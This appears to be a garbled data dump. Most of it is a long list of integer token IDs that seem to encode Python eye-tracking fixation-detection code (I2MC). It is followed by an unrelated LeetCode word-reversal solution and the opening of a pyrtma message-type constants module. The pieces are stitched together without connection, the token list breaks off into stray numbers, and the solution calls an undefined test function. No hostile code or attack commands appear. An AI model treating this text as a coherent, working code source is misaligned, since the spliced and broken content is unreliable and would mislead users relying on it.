220,
220,
220,
37078,
32,
58,
64,
60,
796,
45941,
13,
12647,
198,
220,
220,
220,
220,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
31383,
796,
45941,
13,
10215,
81,
1073,
891,
7,
87,
1930,
69,
58,
37659,
13,
259,
1851,
7,
80,
17140,
8,
4357,
88,
1930,
69,
58,
37659,
13,
259,
1851,
7,
80,
17140,
8,
12962,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
374,
8873,
796,
31383,
58,
15,
11,
16,
60,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
350,
796,
657,
13,
3104,
1303,
23818,
12867,
286,
1989,
739,
262,
1963,
42524,
3487,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
479,
796,
45941,
13,
6404,
7,
16,
19571,
7,
16,
12,
47,
4008,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
37078,
32,
58,
64,
60,
796,
362,
9,
74,
9,
37659,
13,
14415,
9,
19282,
87,
9,
301,
9892,
9,
37659,
13,
31166,
17034,
7,
16,
12,
81,
8873,
1174,
17,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
198,
220,
220,
220,
220,
220,
220,
220,
44386,
15284,
3509,
12,
1084,
286,
48785,
198,
220,
220,
220,
220,
220,
220,
220,
611,
45941,
13,
16345,
7,
80,
17140,
8,
6624,
18896,
7,
80,
17140,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2837,
55,
58,
64,
60,
796,
45941,
13,
12647,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2837,
56,
58,
64,
60,
796,
45941,
13,
12647,
198,
220,
220,
220,
220,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2837,
55,
58,
64,
60,
796,
357,
37659,
13,
9806,
7,
87,
1930,
69,
58,
37659,
13,
259,
1851,
7,
80,
17140,
8,
12962,
532,
45941,
13,
1084,
7,
87,
1930,
69,
58,
37659,
13,
259,
1851,
7,
80,
17140,
15437,
4008,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2837,
56,
58,
64,
60,
796,
357,
37659,
13,
9806,
7,
88,
1930,
69,
58,
37659,
13,
259,
1851,
7,
80,
17140,
8,
12962,
532,
45941,
13,
1084,
7,
88,
1930,
69,
58,
37659,
13,
259,
1851,
7,
80,
17140,
15437,
4008,
628,
220,
220,
220,
220,
220,
220,
220,
611,
279,
844,
62,
525,
62,
13500,
318,
407,
6045,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
1988,
287,
7370,
5874,
9848,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2837,
55,
58,
64,
60,
796,
2837,
55,
58,
64,
60,
14,
79,
844,
62,
525,
62,
13500,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2837,
56,
58,
64,
60,
796,
2837,
56,
58,
64,
60,
14,
79,
844,
62,
525,
62,
13500,
628,
220,
220,
220,
1303,
3060,
2482,
284,
48785,
22155,
198,
220,
220,
220,
4259,
17816,
49,
5653,
5431,
20520,
796,
371,
5653,
5431,
198,
220,
220,
220,
4259,
17816,
2749,
16412,
20520,
796,
37078,
32,
198,
220,
220,
220,
4259,
17816,
13049,
17257,
55,
20520,
796,
2837,
55,
198,
220,
220,
220,
4259,
17816,
13049,
17257,
56,
20520,
796,
2837,
56,
198,
220,
220,
220,
220,
198,
220,
220,
220,
1441,
4259,
198,
198,
2,
38093,
25609,
198,
2,
38093,
25609,
198,
2,
1303,
383,
4036,
314,
17,
9655,
11523,
2163,
198,
2,
38093,
25609,
198,
2,
38093,
25609,
198,
4299,
314,
17,
9655,
7,
70,
6201,
6601,
11,
3689,
796,
6045,
11,
18931,
28,
17821,
11,
18931,
62,
28968,
33151,
2599,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
40117,
198,
220,
220,
220,
24200,
438,
198,
220,
220,
220,
2488,
17143,
17841,
6601,
25,
257,
1366,
14535,
7268,
262,
17841,
1366,
198,
220,
220,
220,
220,
220,
220,
220,
262,
1366,
14535,
815,
3994,
262,
1708,
15180,
357,
31336,
406,
11,
371,
393,
1111,
393,
2811,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
406,
62,
55,
220,
220,
220,
220,
220,
220,
220,
220,
532,
1364,
4151,
2124,
2292,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
406,
62,
56,
220,
220,
220,
220,
220,
220,
220,
220,
532,
1364,
4151,
331,
2292,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
371,
62,
55,
220,
220,
220,
220,
220,
220,
220,
220,
532,
826,
4151,
2124,
2292,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
371,
62,
56,
220,
220,
220,
220,
220,
220,
220,
220,
532,
826,
4151,
331,
2292,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2811,
62,
55,
220,
220,
532,
2811,
2124,
2292,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2811,
62,
56,
220,
220,
532,
2811,
331,
2292,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
640,
220,
220,
220,
220,
220,
220,
220,
532,
640,
286,
262,
17841,
6291,
198,
220,
220,
220,
2488,
17143,
3689,
25,
257,
22155,
7268,
262,
3689,
329,
262,
314,
17,
9655,
3781,
198,
220,
220,
220,
220,
220,
220,
220,
262,
22155,
815,
3994,
262,
1708,
8251,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2124,
62,
411,
220,
220,
220,
220,
220,
220,
220,
532,
2124,
6323,
286,
262,
3159,
287,
17848,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
331,
62,
411,
220,
220,
220,
220,
220,
220,
220,
532,
331,
6323,
286,
262,
3159,
287,
17848,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2030,
80,
220,
220,
220,
220,
220,
220,
220,
220,
532,
8373,
286,
262,
21566,
21879,
10735,
287,
26109,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
4814,
62,
87,
220,
220,
220,
532,
1988,
12739,
1366,
2994,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
4814,
62,
88,
220,
220,
220,
532,
1988,
12739,
1366,
2994,
198,
220,
220,
220,
2488,
17143,
18931,
25,
25131,
12739,
1771,
284,
2604,
262,
2482,
198,
220,
220,
220,
2488,
17143,
18931,
62,
28968,
25,
11677,
878,
790,
18931,
3275,
198,
220,
220,
220,
16409,
198,
220,
220,
220,
35656,
198,
220,
220,
220,
2488,
7783,
25,
3991,
611,
262,
3781,
373,
407,
4388,
11,
4306,
257,
22155,
198,
220,
220,
220,
220,
220,
220,
220,
7268,
262,
2482,
286,
262,
3781,
13,
198,
220,
220,
220,
220,
220,
220,
220,
383,
28261,
4909,
262,
1708,
8251,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
45616,
220,
220,
220,
220,
220,
220,
220,
220,
220,
532,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
923,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
532,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
886,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
532,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
923,
51,
220,
220,
220,
220,
220,
220,
220,
220,
220,
532,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
886,
51,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
532,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
22365,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
532,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2124,
1930,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
532,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
331,
1930,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
532,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
30172,
67,
10254,
793,
220,
220,
532,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1216,
330,
3849,
9124,
220,
220,
220,
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198,
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220,
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11,
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220,
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220,
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11,
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605,
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198,
220,
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80,
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220,
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198,
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62,
12543,
10786,
45688,
87,
3256,
2172,
11,
705,
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2994,
329,
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198,
220,
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62,
12543,
10786,
45688,
88,
3256,
2172,
11,
705,
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2994,
329,
11723,
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25,
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87,
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20520,
220,
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13,
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198,
220,
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88,
411,
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220,
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13,
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411,
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198,
220,
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80,
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220,
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13,
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80,
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198,
220,
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220,
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796,
2172,
13,
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198,
220,
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220,
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88,
20520,
220,
220,
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220,
796,
2172,
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88,
11537,
198,
220,
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81,
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13,
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68,
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611,
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287,
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198,
220,
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83,
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20520,
220,
220,
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796,
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13,
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83,
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259,
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11,
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611,
765,
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287,
3396,
198,
220,
220,
220,
220,
198,
220,
220,
220,
1303,
17143,
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351,
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25,
198,
220,
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220,
1303,
327,
10526,
2149,
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24027,
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198,
220,
220,
220,
1582,
17816,
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2435,
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79,
20520,
796,
2172,
13,
12924,
10786,
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79,
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16,
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357,
82,
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329,
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341,
284,
3051,
198,
220,
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220,
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14907,
50,
696,
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79,
20520,
220,
220,
796,
2172,
13,
12924,
10786,
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50,
696,
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79,
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362,
8,
220,
220,
220,
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286,
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357,
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286,
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329,
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341,
198,
220,
220,
220,
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79,
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220,
220,
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220,
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220,
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2172,
13,
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79,
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220,
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509,
12,
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15037,
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198,
220,
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220,
220,
220,
220,
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13,
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8,
625,
543,
284,
15284,
362,
12,
1326,
504,
32966,
1586,
357,
6679,
577,
1988,
523,
326,
3509,
13,
352,
264,
4134,
671,
460,
3051,
8,
198,
220,
220,
220,
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457,
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220,
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13,
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13,
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220,
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220,
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13,
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220,
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17816,
30371,
696,
22417,
20520,
220,
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796,
2172,
13,
12924,
10786,
30371,
696,
22417,
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1303,
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1525,
49916,
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321,
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30,
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13,
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321,
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11,
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278,
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287,
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12,
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434,
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198,
220,
220,
220,
1582,
17816,
2395,
1525,
18743,
20520,
220,
220,
220,
220,
220,
220,
796,
2172,
13,
12924,
10786,
2395,
1525,
18743,
3256,
807,
2014,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
1502,
286,
1125,
1525,
16,
2580,
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258,
85,
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321,
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11,
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318,
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11,
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389,
1679,
393,
517,
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287,
262,
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357,
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423,
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611,
534,
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318,
286,
1877,
19232,
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393,
534,
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318,
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198,
220,
220,
220,
1582,
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48277,
20520,
220,
220,
220,
220,
220,
220,
220,
796,
2172,
13,
12924,
10786,
9806,
48277,
3256,
1802,
2014,
220,
220,
220,
220,
220,
220,
220,
1303,
5415,
1271,
286,
8563,
3142,
287,
479,
12,
1326,
504,
32966,
1586,
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878,
18788,
284,
1306,
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198,
220,
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1303,
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1137,
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198,
220,
220,
220,
1582,
17816,
8968,
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19282,
20520,
220,
220,
220,
220,
220,
220,
220,
796,
2172,
13,
12924,
10786,
8968,
2364,
19282,
3256,
362,
2014,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
1271,
286,
3210,
47060,
2029,
1612,
479,
12,
1326,
504,
19590,
481,
307,
973,
355,
48785,
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198,
220,
220,
220,
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17816,
261,
28968,
817,
3447,
20520,
220,
220,
796,
2172,
13,
12924,
10786,
261,
28968,
817,
3447,
3256,
513,
2014,
220,
220,
220,
220,
1303,
1271,
286,
45878,
1497,
422,
14288,
48785,
9478,
13,
2561,
307,
973,
284,
2513,
2651,
379,
48785,
4940,
290,
19528,
379,
48785,
5645,
284,
35139,
511,
13127,
290,
2245,
11862,
422,
6600,
656,
264,
4134,
2367,
198,
220,
220,
220,
1582,
17816,
9806,
13102,
469,
20344,
20520,
220,
220,
220,
220,
796,
2172,
13,
12924,
10786,
9806,
13102,
469,
20344,
3256,
1542,
2014,
220,
220,
220,
220,
220,
1303,
5415,
48862,
485,
272,
5253,
287,
17848,
1022,
4259,
602,
329,
35981,
198,
220,
220,
220,
1582,
17816,
9806,
13102,
469,
7575,
20520,
220,
220,
220,
220,
796,
2172,
13,
12924,
10786,
9806,
13102,
469,
7575,
3256,
1542,
2014,
220,
220,
220,
220,
220,
1303,
5415,
640,
287,
13845,
1022,
4259,
602,
329,
35981,
198,
220,
220,
220,
1582,
17816,
1084,
22743,
36927,
20520,
220,
220,
220,
220,
220,
220,
220,
796,
2172,
13,
12924,
10786,
1084,
22743,
36927,
3256,
2319,
2014,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
5288,
48785,
9478,
357,
907,
8,
706,
35981,
11,
4259,
602,
351,
12238,
9478,
389,
4615,
422,
5072,
198,
220,
220,
220,
220,
220,
220,
198,
220,
220,
220,
1303,
7712,
10007,
11,
1487,
777,
284,
10352,
618,
407,
5922,
198,
220,
220,
220,
1582,
17816,
48267,
62,
259,
79,
1071,
392,
10809,
20520,
220,
796,
2172,
13,
12924,
10786,
48267,
62,
259,
79,
1071,
392,
10809,
3256,
10352,
8,
628,
220,
220,
220,
329,
1994,
287,
2172,
25,
198,
220,
220,
220,
220,
220,
220,
220,
6818,
10352,
11,
705,
9218,
45144,
36786,
407,
8018,
4458,
18982,
7,
2539,
8,
198,
220,
220,
220,
220,
198,
220,
220,
220,
1303,
38093,
25609,
198,
220,
220,
220,
1303,
1303,
23412,
1021,
10809,
290,
10627,
198,
220,
220,
220,
1303,
38093,
25609,
198,
220,
220,
220,
22492,
9052,
625,
5128,
198,
220,
220,
220,
611,
407,
1582,
17816,
48267,
62,
259,
79,
1071,
392,
10809,
6,
5974,
198,
220,
220,
220,
220,
220,
220,
220,
329,
1994,
11,
1988,
287,
1582,
13,
23814,
33529,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
1994,
287,
37250,
87,
411,
41707,
88,
411,
41707,
19503,
80,
41707,
45688,
87,
41707,
45688,
88,
41707,
17497,
2435,
9492,
79,
41707,
9806,
6381,
79,
41707,
17497,
2435,
3256,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
705,
4169,
457,
524,
41707,
8968,
2364,
19282,
41707,
261,
28968,
817,
3447,
41707,
9806,
13102,
469,
20344,
41707,
9806,
13102,
469,
7575,
41707,
1084,
22743,
36927,
6,
5974,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2198,
62,
77,
39223,
7,
2539,
11,
8367,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2198,
62,
1416,
282,
283,
7,
2539,
11,
8367,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1288,
361,
1994,
6624,
705,
17080,
83,
17500,
1361,
10354,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
1988,
318,
407,
6045,
25,
220,
220,
1303,
743,
307,
6045,
357,
896,
281,
11902,
11507,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2198,
62,
77,
39223,
7,
2539,
11,
8367,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2198,
62,
1416,
282,
283,
7,
2539,
11,
8367,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1288,
361,
1994,
287,
37250,
30371,
696,
22417,
41707,
2395,
1525,
18743,
41707,
9806,
48277,
41707,
14907,
50,
696,
9492,
79,
6,
5974,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2198,
62,
600,
7,
2539,
11,
8367,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2198,
62,
1416,
282,
283,
7,
2539,
11,
8367,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1288,
361,
1994,
6624,
705,
1416,
81,
50,
89,
10354,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
1988,
318,
407,
6045,
25,
220,
220,
1303,
743,
307,
6045,
357,
896,
281,
11902,
11507,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2198,
62,
77,
39223,
7,
2539,
11,
8367,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2198,
62,
31364,
62,
17,
7,
2539,
11,
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8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1288,
361,
1994,
6624,
705,
30371,
12629,
10354,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2198,
62,
600,
7,
2539,
11,
8367,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
2099,
7,
2539,
8,
14512,
965,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
5298,
11052,
12331,
10786,
9218,
45144,
36786,
407,
8018,
4458,
18982,
7,
2539,
4008,
198,
220,
220,
220,
220,
198,
220,
220,
220,
1303,
900,
26235,
198,
220,
220,
220,
611,
1582,
17816,
9806,
6381,
79,
20520,
318,
6045,
25,
198,
220,
220,
220,
220,
220,
220,
220,
1582,
17816,
9806,
6381,
79,
20520,
796,
1582,
17816,
87,
411,
20520,
9,
15,
13,
17,
9,
37659,
13,
31166,
17034,
7,
17,
8,
628,
220,
220,
220,
1303,
2198,
8106,
198,
220,
220,
220,
611,
1582,
17816,
30371,
696,
22417,
6,
5974,
198,
220,
220,
220,
220,
220,
220,
220,
299,
50,
696,
37374,
796,
45941,
13,
9806,
26933,
16,
11,
18,
9,
1845,
17816,
2395,
1525,
18743,
6,
11907,
47762,
16,
220,
1303,
299,
50,
696,
37374,
796,
3509,
7,
16,
11,
18,
9,
7,
77,
69,
2326,
12,
16,
4008,
10,
16,
11,
810,
299,
69,
2326,
796,
1125,
1525,
18743,
10,
16,
198,
220,
220,
220,
220,
220,
220,
220,
299,
50,
696,
818,
16643,
796,
2835,
7,
1845,
17816,
17497,
2435,
20520,
29006,
16,
19571,
1845,
17816,
19503,
80,
20520,
4008,
198,
220,
220,
220,
220,
220,
220,
220,
611,
299,
50,
696,
818,
16643,
1279,
299,
50,
696,
37374,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
5298,
11052,
12331,
10786,
40,
17,
9655,
25,
25853,
10007,
9167,
351,
262,
4634,
366,
2395,
1525,
18743,
1,
705,
1343,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
705,
10594,
407,
670,
329,
262,
19232,
8373,
286,
534,
1366,
13,
4222,
2793,
705,
1343,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
705,
1,
2395,
1525,
18743,
1600,
393,
900,
262,
4634,
366,
30371,
696,
22417,
1,
284,
10352,
11537,
198,
220,
220,
220,
198,
220,
220,
220,
6818,
45941,
13,
16345,
7,
1845,
17816,
19503,
80,
20520,
4,
37659,
13,
18747,
7,
1845,
17816,
30371,
12629,
20520,
4008,
6624,
15,
4032,
40,
17,
9655,
20786,
25,
2773,
286,
534,
21838,
1403,
2974,
389,
407,
2659,
271,
669,
286,
534,
19232,
8373,
13,
9794,
262,
3038,
366,
30371,
12629,
30543,
198,
220,
220,
220,
220,
198,
220,
220,
220,
1303,
9058,
5874,
9848,
11315,
198,
220,
220,
220,
279,
844,
62,
525,
62,
13500,
796,
6045,
198,
220,
220,
220,
611,
1582,
17816,
1416,
81,
50,
89,
20520,
318,
407,
6045,
290,
1582,
17816,
17080,
83,
17500,
1361,
20520,
318,
407,
6045,
25,
198,
220,
220,
220,
220,
220,
220,
220,
279,
844,
62,
525,
62,
13500,
796,
9848,
62,
1462,
62,
79,
14810,
7,
16,
11,
1582,
17816,
17080,
83,
17500,
1361,
6,
4357,
1582,
17816,
1416,
81,
50,
89,
6,
7131,
15,
4357,
685,
1845,
17816,
87,
411,
6,
4357,
1582,
17816,
88,
411,
6,
11907,
8,
628,
220,
220,
220,
1303,
38093,
25609,
198,
220,
220,
220,
1303,
45559,
3810,
4814,
3815,
290,
5004,
1395,
290,
575,
17841,
1426,
198,
220,
220,
220,
1303,
38093,
25609,
198,
220,
220,
220,
1303,
1730,
351,
937,
37320,
1366,
11,
393,
2251,
2811,
625,
734,
2951,
198,
220,
220,
220,
611,
705,
43,
62,
55,
6,
287,
1366,
13,
13083,
3419,
290,
705,
49,
62,
55,
6,
407,
287,
1366,
13,
13083,
33529,
198,
220,
220,
220,
220,
220,
220,
220,
2124,
1930,
796,
1366,
17816,
43,
62,
55,
20520,
198,
220,
220,
220,
220,
220,
220,
220,
331,
1930,
796,
1366,
17816,
43,
62,
56,
20520,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
6822,
329,
4814,
3815,
198,
220,
220,
220,
220,
220,
220,
220,
4814,
62,
87,
796,
45941,
13,
6404,
605,
62,
273,
7,
37659,
13,
271,
12647,
7,
87,
1930,
828,
2124,
1930,
6624,
1582,
17816,
45688,
87,
6,
12962,
198,
220,
220,
220,
220,
220,
220,
220,
4814,
62,
88,
796,
45941,
13,
6404,
605,
62,
273,
7,
37659,
13,
271,
12647,
7,
88,
1930,
828,
331,
1930,
6624,
1582,
17816,
45688,
88,
6,
12962,
198,
220,
220,
220,
220,
220,
220,
220,
4814,
796,
45941,
13,
6404,
605,
62,
273,
7,
45688,
62,
87,
11,
4814,
62,
88,
8,
198,
220,
220,
220,
220,
220,
220,
220,
1366,
17816,
9464,
62,
45688,
20520,
796,
4814,
198,
220,
220,
220,
220,
220,
220,
220,
10662,
17,
36,
8505,
796,
10352,
198,
220,
220,
220,
220,
220,
220,
220,
220,
198,
220,
220,
220,
1288,
361,
705,
49,
62,
55,
6,
287,
1366,
13,
13083,
3419,
290,
705,
43,
62,
55,
6,
407,
287,
1366,
13,
13083,
33529,
198,
220,
220,
220,
220,
220,
220,
220,
2124,
1930,
796,
1366,
17816,
49,
62,
55,
20520,
198,
220,
220,
220,
220,
220,
220,
220,
331,
1930,
796,
1366,
17816,
49,
62,
56,
20520,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
6822,
329,
4814,
3815,
198,
220,
220,
220,
220,
220,
220,
220,
4814,
62,
87,
796,
45941,
13,
6404,
605,
62,
273,
7,
37659,
13,
271,
12647,
7,
87,
1930,
828,
2124,
1930,
6624,
1582,
17816,
45688,
87,
6,
12962,
198,
220,
220,
220,
220,
220,
220,
220,
4814,
62,
88,
796,
45941,
13,
6404,
605,
62,
273,
7,
37659,
13,
271,
12647,
7,
88,
1930,
8,
837,
331,
1930,
6624,
1582,
17816,
45688,
88,
6,
12962,
198,
220,
220,
220,
220,
220,
220,
220,
4814,
796,
45941,
13,
6404,
605,
62,
273,
7,
45688,
62,
87,
11,
4814,
62,
88,
8,
198,
220,
220,
220,
220,
220,
220,
220,
1366,
17816,
3506,
62,
45688,
20520,
796,
4814,
198,
220,
220,
220,
220,
220,
220,
220,
10662,
17,
36,
8505,
796,
10352,
198,
220,
220,
220,
220,
220,
220,
220,
220,
198,
220,
220,
220,
1288,
361,
705,
23913,
62,
55,
6,
287,
1366,
13,
13083,
33529,
198,
220,
220,
220,
220,
220,
220,
220,
2124,
1930,
796,
1366,
17816,
23913,
62,
55,
20520,
198,
220,
220,
220,
220,
220,
220,
220,
331,
1930,
796,
1366,
17816,
23913,
62,
56,
20520,
198,
220,
220,
220,
220,
220,
220,
220,
4814,
62,
87,
796,
45941,
13,
6404,
605,
62,
273,
7,
37659,
13,
271,
12647,
7,
87,
1930,
828,
2124,
1930,
6624,
1582,
17816,
45688,
87,
6,
12962,
198,
220,
220,
220,
220,
220,
220,
220,
4814,
62,
88,
796,
45941,
13,
6404,
605,
62,
273,
7,
37659,
13,
271,
12647,
7,
88,
1930,
8,
837,
331,
1930,
6624,
1582,
17816,
45688,
88,
6,
12962,
198,
220,
220,
220,
220,
220,
220,
220,
4814,
796,
45941,
13,
6404,
605,
62,
273,
7,
45688,
62,
87,
11,
4814,
62,
88,
8,
198,
220,
220,
220,
220,
220,
220,
220,
1366,
17816,
23913,
62,
45688,
20520,
796,
4814,
198,
220,
220,
220,
220,
220,
220,
220,
10662,
17,
36,
8505,
796,
705,
49,
62,
55,
6,
287,
1366,
13,
13083,
3419,
290,
705,
43,
62,
55,
6,
287,
1366,
13,
13083,
3419,
198,
220,
220,
220,
220,
220,
220,
220,
611,
10662,
17,
36,
8505,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
356,
423,
1364,
290,
826,
290,
2811,
1541,
2810,
11,
475,
356,
761,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
284,
651,
4814,
287,
262,
1981,
4151,
10425,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
32660,
3927,
11,
374,
81,
3927,
11,
1111,
3927,
796,
651,
62,
45688,
7,
7890,
17816,
43,
62,
55,
6,
4357,
1366,
17816,
49,
62,
55,
6,
4357,
1582,
17816,
45688,
87,
6,
4357,
1366,
17816,
43,
62,
56,
6,
4357,
1366,
17816,
49,
62,
56,
6,
4357,
1582,
17816,
45688,
88,
6,
12962,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1366,
17816,
9464,
62,
45688,
20520,
220,
796,
32660,
3927,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1366,
17816,
3506,
62,
45688,
20520,
796,
374,
81,
3927,
198,
220,
220,
220,
220,
220,
220,
220,
220,
198,
220,
220,
220,
2073,
25,
1303,
356,
423,
1364,
290,
826,
11,
2811,
606,
198,
220,
220,
220,
220,
220,
220,
220,
1366,
17816,
23913,
62,
55,
6,
4357,
1366,
17816,
23913,
62,
56,
6,
4357,
4814,
11,
32660,
3927,
11,
374,
81,
3927,
796,
2811,
62,
48418,
7,
7890,
17816,
43,
62,
55,
6,
4357,
1366,
17816,
49,
62,
55,
6,
4357,
1582,
17816,
45688,
87,
6,
4357,
1366,
17816,
43,
62,
56,
6,
4357,
1366,
17816,
49,
62,
56,
6,
4357,
1582,
17816,
45688,
88,
6,
12962,
198,
220,
220,
220,
220,
220,
220,
220,
2124,
1930,
796,
1366,
17816,
23913,
62,
55,
20520,
198,
220,
220,
220,
220,
220,
220,
220,
331,
1930,
796,
1366,
17816,
23913,
62,
56,
20520,
198,
220,
220,
220,
220,
220,
220,
220,
1366,
17816,
23913,
62,
45688,
20520,
796,
4814,
198,
220,
220,
220,
220,
220,
220,
220,
1366,
17816,
9464,
62,
45688,
20520,
220,
796,
32660,
3927,
198,
220,
220,
220,
220,
220,
220,
220,
1366,
17816,
3506,
62,
45688,
20520,
796,
374,
81,
3927,
198,
220,
220,
220,
220,
220,
220,
220,
10662,
17,
36,
8505,
796,
6407,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
198,
220,
220,
220,
1303,
38093,
25609,
198,
220,
220,
220,
1303,
23255,
45472,
6234,
198,
220,
220,
220,
1303,
38093,
25609,
198,
220,
220,
220,
1303,
651,
39555,
341,
9168,
329,
2811,
290,
1981,
4151,
10425,
198,
220,
220,
220,
611,
18931,
25,
198,
220,
220,
220,
220,
220,
220,
220,
3601,
7,
6404,
2667,
62,
28968,
1343,
705,
40,
17,
9655,
25,
11140,
278,
329,
4938,
39555,
341,
9168,
11537,
198,
220,
220,
220,
2051,
10434,
11,
3927,
12915,
796,
1064,
62,
3849,
79,
62,
86,
1040,
7,
87,
1930,
11,
331,
1930,
11,
4814,
11,
1582,
17816,
17497,
2435,
9492,
79,
6,
4357,
198,
220,
220,
220,
220,
220,
220,
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6,
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2124,
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11,
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11,
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11,
1582,
8,
198,
220,
220,
220,
4259,
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651,
62,
13049,
62,
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7,
87,
1930,
11,
331,
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11,
4814,
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62,
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8,
198,
220,
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11,
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198,
220,
220,
220,
220,
198,
220,
220,
220,
220
] | 2.327887 | 22,462 |
"""
Given a string, you need to reverse the order of characters in each word within a sentence while still preserving whitespace and initial word order.
Example 1:
Input: "Let's take LeetCode contest"
Output: "s'teL ekat edoCteeL tsetnoc"
Note: In the string, each word is separated by single space and there will not be any extra space in the string.
"""
def reverseWords(s):
"""
:type s: str
:rtype: str
"""
if not s:
return s
return ' '.join([w[::-1] for w in s.split(' ')])
if __name__ == '__main__':
test_reverseWords()
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import ctypes
import sys
from typing import ClassVar, Type
from .constants import *
module = sys.modules["pyrtma.internal_types"]
# RTMA INTERNAL MESSAGE TYPES
MT = {}
MT["Exit"] = 0
MT["Kill"] = 1
MT["Acknowledge"] = 2
MT["FailSubscribe"] = 6
MT["FailedMessage"] = 8
MT["Connect"] = 13
MT["Disconnect"] = 14
MT["Subscribe"] = 15
